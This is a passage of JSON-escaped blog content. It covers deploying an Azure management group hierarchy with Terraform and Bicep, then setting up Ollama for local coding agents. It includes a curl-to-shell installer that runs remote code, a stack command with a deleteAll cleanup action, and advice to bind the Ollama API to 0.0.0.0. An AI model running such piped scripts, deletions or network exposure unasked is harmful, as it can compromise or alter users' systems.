fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='244' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='260' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='244' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='244' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='260' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='244' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='244' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"3-deploying-with-terraform-avm\"\u003e3. Deploying with Terraform AVM\u003c/h2\u003e\n\u003cp\u003eThe \u003ccode\u003eavm-ptn-alz\u003c/code\u003e module is the 2026 standard for deploying the CAF hierarchy. It replaces the legacy \u003ccode\u003ecaf-enterprise-scale\u003c/code\u003e module with a flatter, more maintainable structure — fewer nested modules, fewer surprises when you run \u003ccode\u003eterraform plan\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Deploy the MG Hierarchy\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;alz\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Azure/avm-ptn-alz/azurerm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;~\u0026gt; 0.10\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  management_group_name \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;contoso\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e  # Standard CAF archetypes are built-in\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  enable_telemetry \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Placing a subscription into the hierarchy\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azurerm_management_group_subscription_association\u0026#34; \u0026#34;management\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  management_group_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/providers/Microsoft.Management/managementGroups/contoso-platform-management\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  subscription_id     \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/subscriptions/00000000-0000-0000-0000-000000000000\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  depends_on          \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003ealz\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003ePro Tip:\u003c/strong\u003e Management Group IDs must be globally unique within your tenant and can only contain letters, digits, and hyphens. Once created, an MG ID is \u003cstrong\u003eimmutable\u003c/strong\u003e. You can change the Display Name, but changing the ID requires deleting and recreating the group.\u003c/p\u003e\n\u003ch2 id=\"4-deploying-with-bicep-deployment-stacks\"\u003e4. Deploying with Bicep Deployment Stacks\u003c/h2\u003e\n\u003cp\u003eIf your team is on Bicep, use \u003cstrong\u003eDeployment Stacks\u003c/strong\u003e for tenant-scoped deployments. The key benefit: when you remove an MG from your code, the stack handles cleanup in Azure automatically. Without stacks, deleted resources linger until someone notices.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003etargetScope\u003c/span\u003e = \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;tenant\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e alz \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;br/public:avm/ptn/lz/alz:0.1.0\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;alzHierarchyDeploy\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  params: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    managementGroupName: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;contoso\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionPlacement: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      management: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;00000000-0000-0000-0000-000000000000\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e#\u003c/span\u003e ... other subscriptions ...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDeploy the stack via the Azure CLI:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz stack tenant create \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --name \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;alz-foundation\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --template-file main.bicep \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --location eastus \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --action-on-unmanage deleteAll\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"5-subscription-placement-and-moving-state\"\u003e5. Subscription Placement and Moving State\u003c/h2\u003e\n\u003cp\u003eWorkloads evolve. A sandbox project gets promoted to production, or a Corp workload gets restructured to go public-facing. You will need to move subscriptions between groups, and that means your Terraform state needs to move too — without destroying and recreating anything.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eTerraform Pattern:\u003c/strong\u003e Use the \u003ccode\u003emoved\u003c/code\u003e block to rename resources in your state file without triggering a physical resource recreation. Skip this step and Terraform will try to delete the old association and create a new one, briefly removing the subscription from its governance scope.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emoved\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  from \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eazurerm_management_group_subscription_association\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eold_path\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  to   \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eazurerm_management_group_subscription_association\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003enew_path\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eJob-Based, Not Org-Based:\u003c/strong\u003e Design your MGs around connectivity and security requirements, not your company\u0026rsquo;s department list.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eIntermediate MG is Mandatory:\u003c/strong\u003e Always create a container below the Root to avoid locking yourself out of tenant-wide settings.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAudit Before Deny:\u003c/strong\u003e When applying cascading policies, use \u003ccode\u003eAudit\u003c/code\u003e mode first to measure impact on existing subscriptions.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eImmutability Matters:\u003c/strong\u003e Choose your MG IDs carefully. You are stuck with them for the life of the landing zone.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-hub-spoke-networking/\"\u003eHub-and-Spoke Networking for Azure Landing Zones: Azure Firewall, Bastion, and Private DNS\u003c/a\u003e to build the Hub-and-Spoke network that will connect to these management groups.\u003c/li\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-policy-governance/\"\u003eGovernance at Scale: Writing and Deploying Azure Policies with Terraform and Bicep\u003c/a\u003e to write the specific Azure Policies that will be assigned to this hierarchy.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/management-group-and-subscription-organization\"\u003eMicrosoft Learn: ALZ Management Group and Subscription Organization\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://registry.terraform.io/modules/Azure/avm-ptn-alz/azurerm\"\u003eTerraform Registry: avm-ptn-alz Module\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits#management-group-limits\"\u003eAzure Service Limits: Management Group Limits\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Design and deploy a production Azure management group hierarchy with Terraform and Bicep AVM. Covers intermediate groups, platform vs workload separation, and subscription placement.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-management-group-design/","title":"Design Your Azure Management Group and Subscription Hierarchy"},{"content":"\u003cp\u003eYou install Ollama, pull a model, and type a prompt into your coding agent. Nothing happens. The cursor blinks. After 45 seconds, the agent returns \u003ccode\u003econnection refused\u003c/code\u003e. Ollama is running — you can see the icon in the system tray — but the default install was not configured for a coding workflow.\u003c/p\u003e\n\u003cp\u003eThe default Ollama context window is 2,048 tokens (you\u0026rsquo;ll hit the limit mid-function). The default keep-alive timer unloads the model after 5 minutes of inactivity (a 10–15 second cold-start greets you every time you switch back to it). The API endpoint format your TUI expects differs from Ollama\u0026rsquo;s native API. None of this is obvious from the install docs.\u003c/p\u003e\n\u003ch2 id=\"installing-ollama\"\u003eInstalling Ollama\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003emacOS and Linux:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl -fsSL https://ollama.com/install.sh | sh\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOn Linux, this installs Ollama as a systemd service that starts automatically on boot. On macOS, it installs as a menu bar application.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eWindows:\u003c/strong\u003e Download the installer from \u003ca href=\"https://ollama.com\"\u003eollama.com\u003c/a\u003e and run it. Ollama installs as a background process and adds itself to startup.\u003c/p\u003e\n\u003cp\u003eAfter installation, verify the API is reachable:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl http://localhost:11434/api/tags\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe response should be a JSON object with an empty \u003ccode\u003emodels\u003c/code\u003e array. If you get \u003ccode\u003econnection refused\u003c/code\u003e, the Ollama service isn\u0026rsquo;t running — start it manually with \u003ccode\u003eollama serve\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"pulling-the-right-code-models\"\u003ePulling the Right Code Models\u003c/h2\u003e\n\u003cp\u003eGeneric instruction-tuned models are trained to be conversational. When a coding agent sends a file context and asks for a function refactor, a conversational model often responds with explanation prose before the code block. TUI parsers that expect a clean code response choke on that preamble.\u003c/p\u003e\n\u003cp\u003eUse a model trained specifically on code:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Qwen2.5-Coder: strong multi-language support, fast generation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull qwen2.5-coder:7b\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# OpenCoder: open training data, predictable structure\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull opencoder:8b\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOllama defaults to pulling the \u003ccode\u003eq4_K_M\u003c/code\u003e quantization for 7B and 8B models, which perfectly fits within an 8GB VRAM budget. You only need explicit tags (like \u003ccode\u003eqwen2.5-coder:7b-instruct-q8_0\u003c/code\u003e) if you want a larger, more precise model and have the hardware to run it.\u003c/p\u003e\n\u003cp\u003eTest the model directly before wiring it to a TUI:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama run qwen2.5-coder:7b \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Write a Python function that returns the Fibonacci sequence up to n.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf the model returns clean code without conversational filler, you\u0026rsquo;re set. If it starts with \u0026ldquo;Sure! Here is a Python function that\u0026hellip;\u0026rdquo;, the system prompt in your Modelfile will fix that.\u003c/p\u003e\n\u003ch2 id=\"mastering-the-modelfile\"\u003eMastering the Modelfile\u003c/h2\u003e\n\u003ch3 id=\"what-a-modelfile-is\"\u003eWhat a Modelfile Is\u003c/h3\u003e\n\u003cp\u003eThe Modelfile is Ollama\u0026rsquo;s configuration layer — analogous to a Dockerfile. It specifies the base model, inference parameters, system prompt, and template overrides. You create a custom model from a Modelfile, and Ollama registers it as a separate named model.\u003c/p\u003e\n\u003cp\u003eThis is the right place to lock down coding behavior: context limits, temperature, and the system prompt that prevents the model from generating conversational filler. You set it once, not every time you run a prompt.\u003c/p\u003e\n\u003ch3 id=\"building-an-optimized-coding-modelfile\"\u003eBuilding an Optimized Coding Modelfile\u003c/h3\u003e\n\u003cp\u003eCreate \u003ccode\u003eModelfile.coder\u003c/code\u003e in your working directory:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFROM qwen2.5-coder:7b\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# 8192 tokens fits within VRAM budget on an 8GB GPU\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER num_ctx 8192\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Low temperature for deterministic, consistent code output\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER temperature 0.2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Prevent runaway generation past function end\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER stop \u0026#34;\u0026lt;|im_end|\u0026gt;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER stop \u0026#34;\u0026lt;|endoftext|\u0026gt;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSYSTEM \u0026#34;\u0026#34;\u0026#34;You are an elite developer. Return ONLY valid, executable code.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDo NOT explain the code unless asked. Do NOT include markdown fences unless asked.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDo NOT start your response with \u0026#39;Sure\u0026#39;, \u0026#39;Of course\u0026#39;, or any affirmation.\u0026#34;\u0026#34;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eBuild the custom model:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama create my-coder -f Modelfile.coder\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTest it:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama run my-coder \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;def parse_csv(filepath: str) -\u0026gt; list[dict]:\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe model should complete the function body without preamble. The \u003ccode\u003eqwen2.5-coder\u003c/code\u003e model natively supports system prompts in Ollama, so it usually respects this immediately. If you are using a different base model and it still generates conversational text, the model may have a strict chat template overriding your system prompt. Use the \u003ccode\u003eTEMPLATE\u003c/code\u003e parameter in the Modelfile to override it — see the \u003ca href=\"https://github.com/ollama/ollama/blob/main/docs/modelfile.md\"\u003eModelfile reference\u003c/a\u003e for the format your specific model expects.\u003c/p\u003e\n\u003ch3 id=\"eliminating-cold-start-delays\"\u003eEliminating Cold-Start Delays\u003c/h3\u003e\n\u003cp\u003eBy default, Ollama unloads models from VRAM after 5 minutes of inactivity. The next request triggers a cold-start: loading 5GB of weights from disk back into VRAM. On an NVMe drive, that\u0026rsquo;s 3–8 seconds. On a slower drive, up to 30 seconds.\u003c/p\u003e\n\u003cp\u003eSet \u003ccode\u003eOLLAMA_KEEP_ALIVE=-1\u003c/code\u003e to keep the model in VRAM until you manually unload it or restart Ollama.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eLinux/macOS:\u003c/strong\u003e Add this to your shell profile.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexport OLLAMA_KEEP_ALIVE\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e-1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWindows:\u003c/strong\u003e Set it for the current session in PowerShell, or globally via System Properties → Environment Variables.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$env:OLLAMA_KEEP_ALIVE = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;-1\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRestart Ollama after changing this. The first request after startup is still a cold-start, but every subsequent request in the session responds instantly.\u003c/p\u003e\n\u003ch2 id=\"exposing-the-ollama-api\"\u003eExposing the Ollama API\u003c/h2\u003e\n\u003ch3 id=\"default-binding-and-when-to-change-it\"\u003eDefault Binding and When to Change It\u003c/h3\u003e\n\u003cp\u003eOllama binds to \u003ccode\u003e127.0.0.1:11434\u003c/code\u003e by default. Only processes on the same machine can reach the API. For local development, this is the correct and secure default.\u003c/p\u003e\n\u003cp\u003eTwo scenarios require changing it:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eWSL2 on Windows:\u003c/strong\u003e Windows 10/11 automatically forwards localhost requests to WSL2, so if Ollama runs in WSL2, Windows tools can usually reach it at \u003ccode\u003elocalhost:11434\u003c/code\u003e. However, if your editor runs inside WSL2 but Ollama runs natively on Windows, the loopback address \u003ccode\u003e127.0.0.1\u003c/code\u003e doesn\u0026rsquo;t cross the boundary. You must set \u003ccode\u003eOLLAMA_HOST=0.0.0.0:11434\u003c/code\u003e in Windows, and access it from WSL2 via the host IP address (find it with \u003ccode\u003ecat /etc/resolv.conf\u003c/code\u003e or \u003ccode\u003eip route\u003c/code\u003e inside WSL2).\u003c/p\u003e\n\u003ch3 id=\"diagram\"\u003eDiagram\u003c/h3\u003e\n\u003cp\u003eVisualizes the network boundary between Windows and WSL2, showing why the loopback address (\u003ccode\u003e127.0.0.1\u003c/code\u003e) fails from within WSL2 and requires binding Ollama to \u003ccode\u003e0.0.0.0\u003c/code\u003e to be reachable via the Host IP.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 464 313\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 0,0 L 448,0' fill='none' 